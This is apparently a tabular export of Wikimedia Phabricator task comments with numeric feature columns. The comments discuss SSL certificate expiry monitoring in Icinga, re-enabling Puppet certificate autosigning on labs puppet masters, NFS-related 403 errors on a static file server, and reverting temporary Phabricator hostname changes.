",,,1444345726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5,0.8846153846153846,"Change 244617 had a related patch set uploaded (by Dzahn):
dumps: add cert expiry check

[[GERRIT_URL]]
"
543865,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244614 had a related patch set uploaded (by Dzahn):
icinga: add ssl cert expiry for icinga itself

[[https://gerrit.wikimedia.org/r/244614]]
",,,1444345547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,3.6206896551724137,0.8620689655172413,"Change 244614 had a related patch set uploaded (by Dzahn):
icinga: add ssl cert expiry for icinga itself

[[GERRIT_URL]]
"
543862,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244610 had a related patch set uploaded (by Dzahn):
wikitech: add SSL cert expiry monitoring

[[https://gerrit.wikimedia.org/r/244610]]
",,,1444345251,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8888888888888888,"Change 244610 had a related patch set uploaded (by Dzahn):
wikitech: add SSL cert expiry monitoring

[[GERRIT_URL]]
"
543857,ssl expiry tracking in icinga - we don't monitor that many domains,"The following are covered already:

- lists
- otrs

because they use the `check_ssl_http` check_command which is defined in `modules/nagios_common/files/check_commands/check_ssl.cfg`  and set to warn at 60 and go CRIT at 30 days before expiry, it uses `check_ssl`, written by Faidon, which has a `sub ssl_expiry_check`.

i'm going to upload a change or more to add checks for other services using the same method, in a monitoring::service in the role class.",,,1444344782,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,15.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,15.0,5.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,4.0,1.0,0.0,1.0,3.682926829268293,0.7439024390243902,"The following are covered already:

- lists
- otrs

because they use the CODE check_command which is defined in CODE  and set to warn at 60 and go CRIT at 30 days before expiry, it uses CODE, written by Faidon, which has a CODE.

i'm going to upload a change or more to add checks for other services using the same method, in a monitoring::service in the role class."
543855,ssl expiry tracking in icinga - we don't monitor that many domains,"The following are covered already:

- lists
- otrs",,,1444344473,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,"The following are covered already:

- lists
- otrs"
112537,deployment-logstash2 puppet certificate,"```krenair@deployment-logstash2:~$ sudo puppet agent -tv
Exiting; no certificate found and waitforcert is disabled```
```root@deployment-puppetmaster:~# find /var/lib/puppet/server/ssl/ca -name deployment-logstash*
/var/lib/puppet/server/ssl/ca/requests/deployment-logstash2.eqiad.wmflabs.pem
/var/lib/puppet/server/ssl/ca/signed/deployment-logstash2.deployment-prep.eqiad.wmflabs.pem
root@deployment-puppetmaster:~# ```
I imagine @bd808 knows something about this.",High,80.0,1442244259,1442398643.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_description,resolved,True,c3,3,True,False,True,10,True,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.769230769230769,0.7692307692307693,"``CODE`CODE`CODE``
I imagineSCREEN_NAME knows something about this."
528330,deployment-logstash2 puppet certificate,puppet masters self sign again.,,,1442398643,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,puppet masters self sign again.
527547,deployment-logstash2 puppet certificate,"Change 238221 merged by Andrew Bogott:
Turn puppet autosign back on beta/integration

[[https://gerrit.wikimedia.org/r/238221]]",,,1442322332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 238221 merged by Andrew Bogott:
Turn puppet autosign back on beta/integration

[[GERRIT_URL]]"
527420,deployment-logstash2 puppet certificate,">>! In T112537#1638684, @gerritbot wrote:
> Change 238221 had a related patch set uploaded (by Hashar):
> Turn puppet autosign back on beta/integration
> 
> [[https://gerrit.wikimedia.org/r/238221]]

I have cherry picked it on the beta cluster and integration puppet master:
```
lang=diff
--- /etc/puppet/puppet.conf.d/10-self.conf
+++ /tmp/puppet-file20150915-19007-1a3eak0
-autosign = false
+autosign = true
```

And `/etc/puppet/puppet.conf` has been adjusted.",,,1442304315,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.717948717948718,0.6666666666666666,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I have cherry picked it on the beta cluster and integration puppet master:
``CODE`CODE/etc/puppet/puppet.conf` has been adjusted."
526948,deployment-logstash2 puppet certificate,"Change 238221 had a related patch set uploaded (by Hashar):
Turn puppet autosign back on beta/integration

[[https://gerrit.wikimedia.org/r/238221]]
",,,1442258424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 238221 had a related patch set uploaded (by Hashar):
Turn puppet autosign back on beta/integration

[[GERRIT_URL]]
"
526947,deployment-logstash2 puppet certificate,"So we used to have some lame cron job to brute sign certificates every minutes.

That has been replaced by puppet signing itself instead:

    modules/puppet/manifests/self/config.pp:    $autosign             = hiera('puppetmaster::autosigner', false),

And we have no crontab

     root@deployment-puppetmaster:/etc/puppet# grep autos puppet.conf
autosign = false

puppetmaster::auto signer fault to false.  Looks like somebody forgot to announce the change on the labs list / wherever.



We need to set the hiera bit for both integration and deployment-prep projects.",,,1442258256,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,1.0,1.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,2.0,7.0,1.0,3.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,21.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,3.5,1.0,1.5,5.5,0.0,0.0,0.0,1.0,3.0,0.0,1.5,0.0,2.5,7.0,1.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,4.634511784511785,0.8257575757575758,"So we used to have some lame cron job to brute sign certificates every minutes.

That has been replaced by puppet signing itself instead:

    modules/puppet/manifests/self/config.pp:    $autosign             = hiera('puppetmaster::autosigner', false),

And we have no crontab

     root@deployment-puppetmaster:/etc/puppet# grep autos puppet.conf
autosign = false

puppetmaster::auto signer fault to false.  Looks like somebody forgot to announce the change on the labs list / wherever.



We need to set the hiera bit for both integration and deployment-prep projects."
526945,deployment-logstash2 puppet certificate,">>! In T112537#1638661, @thcipriani wrote:
> Seems like deployment-puppetmaster didn't autosign this certificate. Should be fixed now.

It's not just that. There was already a signed certificate with the new full domain style (project name between instance name and DC), the requested one was for the old style.",,,1442258153,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,5.0,12.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8536585365853657,0.8292682926829268,"QUOTE
QUOTE

It's not just that. There was already a signed certificate with the new full domain style (project name between instance name and DC), the requested one was for the old style."
526944,deployment-logstash2 puppet certificate,Seems like deployment-puppetmaster didn't autosign this certificate. Should be fixed now.,,,1442257995,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-fgjjoymd7nvedhsk5wpk,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9375,0.9375,Seems like deployment-puppetmaster didn't autosign this certificate. Should be fixed now.
112388,Static server returns HTTP 403 Forbidden for valid files in some cases,"The static server often returns HTTP 403 Forbidden for files recently updated from Git. This seems to be an NFS issue based on discussion with valhallasw in #wikimedia-labs.

**Known facts:**
* This happens even if I break the symlink from `~/www/static` to the git repository before updating.
* This happens very reliably, but only for modified files. (Updating the repository doesn't break files that didn't change.)
* The 403 seems to be cached on the server; after renaming the file, the new name works fine but the old name keeps returning 403 (even though it's not there anymore).
* This seems to last for quite a while (5+ hours) until it starts the serving the file.
* Remounting the NFS share on the static server solves the problem temporarily (including preventing further occurrences), but it eventually started happening again.

When I renamed an affected file (so both names below should return 'no such file'), valhallasw noticed this behaviour from the static server accessing the NFS share:
    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.css
    cat: pathoschild.regexeditor.css: Permission denied
    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.csss
    cat: pathoschild.regexeditor.csss: No such file or directory

**Repro steps:**
# Become a Tool Labs project.
# Clone [a git repository containing CSS/JS files](https://github.com/Pathoschild/Wikimedia-contrib) to `~/git/<repo>`.
# Symlink `~/www/static/<repo>` to `~/git/<repo>`.
# View one of the files via `tools-static.wmflabs.org/<project name>/<repo>/<filename>` (you should get HTTP 200 OK).
# Perform an upstream change to one of the files.
# Update the git repo (`git pull`).
# View the same file via tools-static.wmflabs.org (you should get HTTP 403 Forbidden).",High,80.0,1442072113,1583857753.0,PHID-USER-s2qdnwktshsvjwhpuhee,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-pdofner3cra2xvirkxns,task_description,resolved,True,c3,3,False,False,False,10,True,0.0,0.0,0.25,0.25,0.75,3.25,0.25,0.0,0.25,0.25,0.25,1.0,0.0,0.25,0.0,0.5,0.75,4.75,7.0,0.0,0.75,0.75,0.25,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,3.25,0.5,0.75,0.25,0.5,0.75,0.0,0.0,0.0,0.5,0.0,0.75,0.25,0.0,0.0,0.0,0.25,0.0,17.0,1.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.25,0.0,6.75,0.5,11.0,0.75,1.0,9.0,0.0,0.0,0.0,2.25,3.25,0.0,2.75,0.0,1.75,7.0,9.75,0.0,0.5,0.0,1.75,0.0,0.5,1.5,0.0,2.75,0.0,0.0,0.25,4.09459706959707,0.623046398046398,"The static server often returns HTTP 403 Forbidden for files recently updated from Git. This seems to be an NFS issue based on discussion with valhallasw in #wikimedia-labs.

**Known facts:**
* This happens even if I break the symlink from CODE to the git repository before updating.
* This happens very reliably, but only for modified files. (Updating the repository doesn't break files that didn't change.)
* The 403 seems to be cached on the server; after renaming the file, the new name works fine but the old name keeps returning 403 (even though it's not there anymore).
* This seems to last for quite a while (5+ hours) until it starts the serving the file.
* Remounting the NFS share on the static server solves the problem temporarily (including preventing further occurrences), but it eventually started happening again.

When I renamed an affected file (so both names below should return 'no such file'), valhallasw noticed this behaviour from the static server accessing the NFS share:
    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.css
    cat: pathoschild.regexeditor.css: Permission denied
    valhallasw@tools-web-static-01:/data/project/meta/www/static/scripts/edge$ cat pathoschild.regexeditor.csss
    cat: pathoschild.regexeditor.csss: No such file or directory

**Repro steps:**
# Become a Tool Labs project.
# Clone [a git repository containing CSS/JS files](URL to CODE.
# Symlink CODE to CODE.
# View one of the files via CODE (you should get HTTP 200 OK).
# Perform an upstream change to one of the files.
# Update the git repo (CODE).
# View the same file via tools-static.wmflabs.org (you should get HTTP 403 Forbidden)."
1460834,Static server returns HTTP 403 Forbidden for valid files in some cases,Feel free to reopen if this issue appears again.,,,1583857753,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,True,,,244,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Feel free to reopen if this issue appears again.
1450849,Static server returns HTTP 403 Forbidden for valid files in some cases,"I don't change scripts on Toolforge much anymore, but I don't see any recent reports/comments about the issue so it's probably safe to close this.",,,1582661490,,PHID-USER-s2qdnwktshsvjwhpuhee,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,16.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.90625,"I don't change scripts on Toolforge much anymore, but I don't see any recent reports/comments about the issue so it's probably safe to close this."
1450846,Static server returns HTTP 403 Forbidden for valid files in some cases,Don't bother testing until after {T224582} and https://gerrit.wikimedia.org/r/c/operations/puppet/+/571821,,,1582661394,,PHID-USER-etxrnkbidavgyjmq6odr,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.909090909090909,1.0,Don't bother testing until after {T224582} and URL
1450707,Static server returns HTTP 403 Forbidden for valid files in some cases,This requires reproduction this year.  It could be fixed.  It might not be.,,,1582652908,,PHID-USER-etxrnkbidavgyjmq6odr,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,False,,,242,True,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7222222222222222,This requires reproduction this year.  It could be fixed.  It might not be.
540864,Static server returns HTTP 403 Forbidden for valid files in some cases,"@Coren: Assuming this is the attribute cache issue of T106170, we would need to reboot the servers `tools-web-static-01` and `tools-web-static-02` to resolve this?",,,1443978261,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-pdofner3cra2xvirkxns,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,19.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,12.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.3076923076923075,0.8461538461538461,"SCREEN_NAME: Assuming this is the attribute cache issue of T106170, we would need to reboot the servers CODE and CODE to resolve this?"
112381,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The cert renewal is already in-progress, pending on GlobalSign.  Original hack was for phab.wikivoyage.org, but now it's been switched to phab.wikidata.org.

The commits from the initial wikivoyage hack:

https://gerrit.wikimedia.org/r/237913
https://gerrit.wikimedia.org/r/237914
https://gerrit.wikimedia.org/r/237912

Commits from the switch to wikidata:
https://gerrit.wikimedia.org/r/#/c/237920/
https://gerrit.wikimedia.org/r/#/c/237919/

After switching back phab itself on iridium, the phabricator.wikimedia.org hostname needs purging in the misc_web cache cluster.",High,80.0,1442069448,1442254313.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5jze2h4izvnplxdtkizb,task_description,resolved,True,c3,3,True,True,True,10,True,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,4.815789473684211,0.6973684210526315,"The cert renewal is already in-progress, pending on GlobalSign.  Original hack was for phab.wikivoyage.org, but now it's been switched to phab.wikidata.org.

The commits from the initial wikivoyage hack:

GERRIT_URL
GERRIT_URL
GERRIT_URL

Commits from the switch to wikidata:
URL
URL

After switching back phab itself on iridium, the phabricator.wikimedia.org hostname needs purging in the misc_web cache cluster."
